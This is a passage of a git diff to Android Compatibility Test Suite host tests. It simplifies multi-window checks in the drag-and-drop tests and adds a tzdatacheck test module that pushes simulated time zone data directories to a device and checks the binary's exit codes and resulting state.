                   android:grantUriPermissions="true"/>
diff --git a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/MultiWindowSupportObserver.java b/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/MultiWindowSupportObserver.java
deleted file mode 100644
index b8bd3c6..0000000
--- a/hostsidetests/services/windowmanager/dndsourceapp/src/android/wm/cts/dndsourceapp/MultiWindowSupportObserver.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package android.wm.cts.dndsourceapp;
-
-import android.app.Activity;
-import android.content.res.Resources;
-import android.os.Bundle;
-import android.util.Log;
-
-public class MultiWindowSupportObserver extends Activity {
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        int id = Resources.getSystem().getIdentifier("config_supportsMultiWindow", "bool", "android");
-        boolean support = Resources.getSystem().getBoolean(id);
-        Log.i(getClass().getSimpleName(), "HEAD=OK");
-        Log.i(getClass().getSimpleName(), "DROP=OK");
-        Log.i(getClass().getSimpleName(), "config_supportsMultiWindow="+support);
-    }
-}
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
index c8ecc8e..77119c0 100644
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
@@ -19,6 +19,7 @@
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 
 import java.util.HashMap;
@@ -42,7 +43,6 @@
 
     private static final String AM_FORCE_STOP = "am force-stop ";
     private static final String AM_MOVE_TASK = "am stack movetask ";
-    private static final String AM_RESIZE_TASK = "am task resize ";
     private static final String AM_REMOVE_STACK = "am stack remove ";
     private static final String AM_START_N = "am start -n ";
     private static final String AM_STACK_LIST = "am stack list";
@@ -59,10 +59,6 @@
     private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
     private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
     private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
-    private static boolean mConfigLoaded = false;
-    private final String SUPPORT_OBSERVER = "MultiWindowSupportObserver";
-    private static boolean mSupportMultiWindow = true;
-    private final String AM_FORCE_STOP_TEST_PACKAGE = "am force-stop android.wm.cts.dndsourceapp";
 
     private static final String SOURCE_ACTIVITY_NAME = "DragSource";
     private static final String TARGET_ACTIVITY_NAME = "DropTarget";
@@ -92,9 +88,6 @@
     private static final String RESULT_EXCEPTION = "Exception";
     private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
 
-    private static final String AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW =
-            "am supports-split-screen-multiwindow";
-
     private ITestDevice mDevice;
 
     private Map<String, String> mResults;
@@ -107,7 +100,8 @@
         super.setUp();
 
         mDevice = getDevice();
-        if (!supportsDragAndDrop() || !supportsMultiWindowMode()) {
+
+        if (!supportsDragAndDrop()) {
             return;
         }
 
@@ -119,7 +113,7 @@
     protected void tearDown() throws Exception {
         super.tearDown();
 
-        if (!supportsDragAndDrop() || !supportsMultiWindowMode()) {
+        if (!supportsDragAndDrop()) {
             return;
         }
 
@@ -143,12 +137,6 @@
         return AM_MOVE_TASK + taskId + " " + stackId + " true";
     }
 
-    private String getResizeTaskCommand(int taskId, Point topLeft, Point bottomRight)
-            throws Exception {
-        return AM_RESIZE_TASK + taskId + " " + topLeft.x + " " + topLeft.y + " " + bottomRight.x
-                + " " + bottomRight.y;
-    }
-
     private String getComponentName(String packageName, String activityName) {
         return packageName + "/" + packageName + "." + activityName;
     }
@@ -199,24 +187,6 @@
         waitForResume(packageName, activityName);
     }
 
-    /**
-     * @param displaySize size of the display
-     * @param leftSide {@code true} to launch the app taking up the left half of the display,
-     *         {@code false} to launch the app taking up the right half of the display.
-     */
-    private void launchFreeformActivity(String packageName, String activityName, String mode,
-            Point displaySize, boolean leftSide) throws Exception{
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
-                + FREEFORM_WORKSPACE_STACK_ID);
-        waitForResume(packageName, activityName);
-        Point topLeft = new Point(leftSide ? 0 : displaySize.x / 2, 0);
-        Point bottomRight = new Point(leftSide ? displaySize.x / 2 : displaySize.x, displaySize.y);
-        executeShellCommand(getResizeTaskCommand(getActivityTaskId(componentName), topLeft,
-                bottomRight));
-    }
-
     private void waitForResume(String packageName, String activityName) throws Exception {
         final String fullActivityName = packageName + "." + activityName;
         int retryCount = 3;
@@ -254,6 +224,12 @@
         CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
         mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
         final String output = outputReceiver.getOutput();
+        final StringBuilder builder = new StringBuilder();
+        builder.append("Finding task info for task: ");
+        builder.append(name);
+        builder.append("\nParsing adb shell am output: " );
+        builder.append(output);
+        CLog.i(builder.toString());
         final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
         for (String line : output.split("\\n")) {
             if (pattern.matcher(line).find()) {
@@ -289,12 +265,6 @@
         return -1;
     }
 
-    private Point getDisplaySize() throws Exception {
-        final String output = executeShellCommand("wm size");
-        final String[] sizes = output.split(" ")[2].split("x");
-        return new Point(Integer.valueOf(sizes[0].trim()), Integer.valueOf(sizes[1].trim()));
-    }
-
     private Point getWindowCenter(String name) throws Exception {
         Point p1 = new Point();
         Point p2 = new Point();
@@ -339,30 +309,14 @@
         return output;
     }
 
-    /**
-     * @return {@code true} if the device supports a certain multi-window mode that allows the
-     *         test to run, {@code false} if it does not and the test should be skipped.
-     */
-    private boolean doTestDragAndDrop(String sourceMode, String targetMode,
-            String expectedDropResult)
+    private void doTestDragAndDrop(String sourceMode, String targetMode, String expectedDropResult)
             throws Exception {
-        if (!supportsDragAndDrop() || !supportsMultiWindowMode()) {
-            return false;
+        if (!supportsDragAndDrop()) {
+            return;
         }
 
-        if (supportsSplitScreenMultiWindow()) {
-            launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
-            launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
-        } else if (supportsFreeformMultiWindow()) {
-            // Fallback to try to launch two freeform windows side by side.
-            Point displaySize = getDisplaySize();
-            launchFreeformActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode,
-                    displaySize, true /* leftSide */);
-            launchFreeformActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode,
-                    displaySize, false /* leftSide */);
-        } else {
-            return false;
-        }
+        launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
+        launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
 
         clearLogs();
 
@@ -373,11 +327,10 @@
 
         mResults = getLogResults(TARGET_LOG_TAG);
         assertResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
-        return true;
     }
 
     private void assertResult(String resultKey, String expectedResult) throws Exception {
-        if (!supportsDragAndDrop() || !supportsMultiWindowMode()) {
+        if (!supportsDragAndDrop()) {
             return;
         }
 
@@ -392,45 +345,36 @@
     }
 
     private boolean supportsDragAndDrop() throws Exception {
-        // Do not run this test on watches.
-        return !mDevice.hasFeature("feature:android.hardware.type.watch");
-    }
-
-    private boolean supportsSplitScreenMultiWindow() throws DeviceNotAvailableException {
-        return !executeShellCommand(AM_SUPPORTS_SPLIT_SCREEN_MULTIWINDOW).startsWith("false");
-    }
-
-    private boolean supportsFreeformMultiWindow() throws DeviceNotAvailableException {
-        return mDevice.hasFeature("feature:android.software.freeform_window_management");
+        String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
+        if ("true".equals(supportsMultiwindow)) {
+            return true;
+        } else if ("false".equals(supportsMultiwindow)) {
+            return false;
+        } else {
+            throw new Exception(
+                    "device does not support \"am supports-multiwindow\" shell command.");
+        }
     }
 
     public void testCancelSoon() throws Exception {
-        if (!doTestDragAndDrop(CANCEL_SOON, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(CANCEL_SOON, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
         assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
     }
 
     public void testDisallowGlobal() throws Exception {
-        if (!doTestDragAndDrop(DISALLOW_GLOBAL, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(DISALLOW_GLOBAL, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, null);
     }
 
     public void testDisallowGlobalBelowSdk24() throws Exception {
         mTargetPackageName = TARGET_23_PACKAGE_NAME;
-        if (!doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, null)) {
-            return;
-        }
+        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, null);
         assertResult(RESULT_KEY_DRAG_STARTED, null);
     }
 
     public void testGrantNoneRequestNone() throws Exception {
-        if (!doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION)) {
-            return;
-        }
+        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
         assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
         assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
     }
@@ -482,23 +426,4 @@
     public void testGrantWriteRequestWrite() throws Exception {
         doTestDragAndDrop(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
     }
-    protected boolean supportsMultiWindowMode() {
-        if (!mConfigLoaded) {
-            try {
-                executeShellCommand("am start -n " + "android.wm.cts.dndsourceapp/." + SUPPORT_OBSERVER);
-                waitForResume("android.wm.cts.dndsourceapp", SUPPORT_OBSERVER);
-                Map map = getLogResults(SUPPORT_OBSERVER);
-                String value = (String)map.get(RESULT_KEY_DROP_RESULT);
-                if (value != null && value.equals("OK")) {
-                   mConfigLoaded = true;
-                    mSupportMultiWindow = !map.get("config_supportsMultiWindow").equals("false");
-                }
-                executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
-                clearLogs();
-            } catch (Exception e) {
-                e.printStackTrace();
-            }
-        }
-        return mSupportMultiWindow;
-    }
 }
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index 41f05ef..1c0dd06 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -28,8 +28,6 @@
 
 LOCAL_CTS_TEST_PACKAGE := android.host.systemui
 
-LOCAL_CTS_MODULE_CONFIG := $(LOCAL_PATH)/Old$(CTS_MODULE_TEST_CONFIG)
-
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
diff --git a/hostsidetests/systemui/OldAndroidTest.xml b/hostsidetests/systemui/OldAndroidTest.xml
deleted file mode 100644
index 2efcb94..0000000
--- a/hostsidetests/systemui/OldAndroidTest.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS System UI host test cases">
-
-    <include name="common-config" />
-    <!-- This will tell tradefed to install the test apk. -->
-    <option name="cts-apk-installer:test-file-name" value="CtsSystemUiDeviceApp.apk" />
-</configuration>
diff --git a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
index 6d1752e..0ae861b 100644
--- a/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
+++ b/hostsidetests/systemui/src/android/host/systemui/BaseTileServiceTest.java
@@ -125,13 +125,6 @@
     }
 
     protected boolean supportedHardware() throws DeviceNotAvailableException {
-        // Customization by third-party tiles is only a requirement for devices
-        // supporting Quick Settings UI component, according to the CDD:
-        // http://source.android.com/compatibility/7.1/android-7.1-cdd.html#3_13_quick_settings
-        //
-        // As there is no public API to distinguish a device with Quick Settings
-        // from others, the check below, as well as all the tests under
-        // CtsSystemUiHostTestCases relying on the check may have false negatives.
         String features = getDevice().executeShellCommand("pm list features");
         return !features.contains("android.hardware.type.television") &&
                !features.contains("android.hardware.type.watch");
diff --git a/hostsidetests/theme/assets/xxxhdpi.zip b/hostsidetests/theme/assets/xxxhdpi.zip
index 2f91d0d..f4e0713 100644
--- a/hostsidetests/theme/assets/xxxhdpi.zip
+++ b/hostsidetests/theme/assets/xxxhdpi.zip
Binary files differ
diff --git a/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
index 6132510..fe917ae 100644
--- a/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
+++ b/hostsidetests/tv/src/com/android/cts/tv/TvInputManagerHostTest.java
@@ -17,6 +17,7 @@
 package com.android.cts.tv;
 
 import com.android.ddmlib.Log.LogLevel;
+import com.android.compatibility.common.util.VersionCodes;
 import com.android.cts.migration.MigrationHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
diff --git a/hostsidetests/tzdata/Android.mk b/hostsidetests/tzdata/Android.mk
new file mode 100644
index 0000000..f7cafd9
--- /dev/null
+++ b/hostsidetests/tzdata/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Only compile source java files in this apk.
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE := CtsHostTzDataTests
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt compatibility-host-util
+
+LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib tzdata-testing-host time_zone_distro-host time_zone_distro_tools-host
+
+LOCAL_CTS_TEST_PACKAGE := android.host.tzdata
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/tzdata/AndroidTest.xml b/hostsidetests/tzdata/AndroidTest.xml
new file mode 100644
index 0000000..cccfe5a
--- /dev/null
+++ b/hostsidetests/tzdata/AndroidTest.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS tzdatacheck host test cases">
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsHostTzDataTests.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
new file mode 100644
index 0000000..2e9707c
--- /dev/null
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -0,0 +1,977 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.tzdata;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.timezone.distro.DistroVersion;
+import com.android.timezone.distro.TimeZoneDistro;
+import com.android.timezone.distro.tools.TimeZoneDistroBuilder;
+
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Comparator;
+import java.util.StringJoiner;
+import java.util.function.Consumer;
+import libcore.tzdata.testing.ZoneInfoTestHelper;
+
+import static org.junit.Assert.assertArrayEquals;
+
+/**
+ * Tests for the tzdatacheck binary.
+ *
+ * <p>The tzdatacheck binary operates over two directories: the "system directory" containing the
+ * time zone rules in the system image, and a "data directory" in the data partition which can
+ * optionally contain time zone rules data files for bionic/libcore and ICU.
+ *
+ * <p>This test executes the tzdatacheck binary to confirm it operates correctly in a number of
+ * simulated situations; simulated system and data directories in various states are created in a
+ * location the shell user has permission to access and the tzdatacheck binary is then executed.
+ * The status code and directory state after execution is then used to determine if the tzdatacheck
+ * binary operated correctly.
+ *
+ * <p>Most of the tests below prepare simulated directory structure for the system and data dirs
+ * on the host before pushing them to the device. Device state is then checked rather than syncing
+ * the files back.
+ */
+public class TzDataCheckTest extends DeviceTestCase {
+
+    /**
+     * The name of the directory containing the current time zone rules data beneath
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String CURRENT_DIR_NAME = "current";
+
+    /**
+     * The name of the directory containing the staged time zone rules data beneath
+     * {@link #mDataDir}.  Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String STAGED_DIR_NAME = "staged";
+
+    /**
+     * The name of the file inside the staged directory that indicates the staged operation is an
+     * uninstall. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
+     * tzdatacheck.cpp.
+     */
+    private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
+
+    /**
+     * The name of the /system time zone data file. Also known to
+     * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+     */
+    private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+
+    /** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
+    private static final String RULES_VERSION_ONE = "2016g";
+    /** A valid time zone rules version guaranteed to be newer than {@link #RULES_VERSION_ONE} */
+    private static final String RULES_VERSION_TWO = "2016h";
+    /**
+     * An arbitrary, valid time zone rules version used when it doesn't matter what the rules
+     * version is.
+     */
+    private static final String VALID_RULES_VERSION = RULES_VERSION_ONE;
+
+    /** An arbitrary valid revision number. */
+    private static final int VALID_REVISION = 1;
+
+    private String mDeviceAndroidRootDir;
+    private PathPair mTestRootDir;
+    private PathPair mSystemDir;
+    private PathPair mDataDir;
+
+    public void setUp() throws Exception {
+        super.setUp();
+
+        // It's not clear how we would get this without invoking "/system/bin/sh", but we need the
+        // value first to do so. It has been hardcoded instead.
+        mDeviceAndroidRootDir = "/system";
+
+        // Create a test root directory on host and device.
+        Path hostTestRootDir = Files.createTempDirectory("tzdatacheck_test");
+        mTestRootDir = new PathPair(
+                hostTestRootDir,
+                "/data/local/tmp/tzdatacheck_test");
+        createDeviceDirectory(mTestRootDir);
+
+        // tzdatacheck requires two directories: a "system" path and a "data" path.
+        mSystemDir = mTestRootDir.createSubPath("system_dir");
+        mDataDir = mTestRootDir.createSubPath("data_dir");
+
+        // Create the host-side directory structure (for preparing files before pushing them to
+        // device and looking at files retrieved from device).
+        createHostDirectory(mSystemDir);
+        createHostDirectory(mDataDir);
+
+        // Create the equivalent device-side directory structure for receiving files.
+        createDeviceDirectory(mSystemDir);
+        createDeviceDirectory(mDataDir);
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        // Remove the test root directories that have been created by this test.
+        deleteHostDirectory(mTestRootDir, true /* failOnError */);
+        deleteDeviceDirectory(mTestRootDir, true /* failOnError */);
+        super.tearDown();
+    }
+
+    public void testTooFewArgs() throws Exception {
+        // No need to set up or push files to the device for this test.
+        assertEquals(1, runTzDataCheckWithArgs(new String[0]));
+        assertEquals(1, runTzDataCheckWithArgs(new String[] { "oneArg" }));
+    }
+
+    // {dataDir}/staged exists but it is a file.
+    public void testStaging_stagingDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        Files.write(dataStagedDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the file was just ignored. This is a fairly arbitrary choice to leave it rather
+        // than delete.
+        assertDevicePathExists(dataStagedDir);
+        assertDevicePathIsFile(dataStagedDir);
+    }
+
+    // {dataDir}/staged exists but /current dir is a file.
+    public void testStaging_uninstall_currentDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
+    public void testStaging_uninstall_noCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged contains an uninstall, and there is something to uninstall.
+    public void testStaging_uninstall_withCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        createStagedUninstallOnHost(dataStagedDir);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, distroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "uninstalled" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDevicePathDoesNotExist(dataCurrentDir);
+    }
+
+    // {dataDir}/staged exists but /current dir is a file.
+    public void testStaging_install_currentDirIsFile() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged install.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] distroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, distroBytes);
+
+        // Create a file with the same name as the directory that tzdatacheck expects.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        Files.write(dataCurrentDir.hostPath, new byte[] { 'a' });
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
+    }
+
+    // {dataDir}/staged contains an install, but there is nothing to replace.
+    public void testStaging_install_noCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged install.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+    }
+
+    // {dataDir}/staged contains an install, and there is something to replace.
+    public void testStaging_install_withCurrent() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        DistroVersion currentDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 1);
+        DistroVersion stagedDistroVersion = new DistroVersion(
+                DistroVersion.CURRENT_FORMAT_MAJOR_VERSION, 1, VALID_RULES_VERSION, 2);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder()
+                .setDistroVersion(stagedDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] currentDistroBytes = createValidDistroBuilder()
+                .setDistroVersion(currentDistroVersion)
+                .buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. Failures due to staging issues are
+        // generally ignored providing the device is left in a reasonable state.
+        assertEquals(0, runTzDataCheckOnDevice());
+
+        // Assert the device was left in a valid "installed" state.
+        // The stagedDistro should now be the one in the current dir.
+        assertDevicePathDoesNotExist(dataStagedDir);
+        assertDeviceDirContainsDistro(dataCurrentDir, stagedDistroBytes);
+    }
+
+    // {dataDir}/staged contains an invalid install, and there is something to replace.
+    // Most of the invalid cases are tested without staging; this is just to prove that staging
+    // an invalid distro is handled the same.
+    public void testStaging_install_withCurrent_invalidStaged() throws Exception {
+        // Set up the /system directory structure on host.
+        createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+
+        // Set up the /data directory structure on host.
+
+        // Create a staged uninstall which contains invalid.
+        PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
+        byte[] stagedDistroBytes = createValidDistroBuilder()
+                .clearVersionForTests()
+                .buildUnvalidatedBytes();
+        unpackOnHost(dataStagedDir, stagedDistroBytes);
+
+        // Create a current installed distro.
+        PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
+        byte[] currentDistroBytes = createValidDistroBuilder().buildBytes();
+        unpackOnHost(dataCurrentDir, currentDistroBytes);
+
+        // Push the host test directory and contents to the device.
+        pushHostTestDirToDevice();
+
+        // Execute tzdatacheck and check the status code. The staged directory will have become the
+        // current one, but then it will be discovered to be invalid and will be removed.
+        assertEquals(3, runTzDataCheckOnDevice());
+
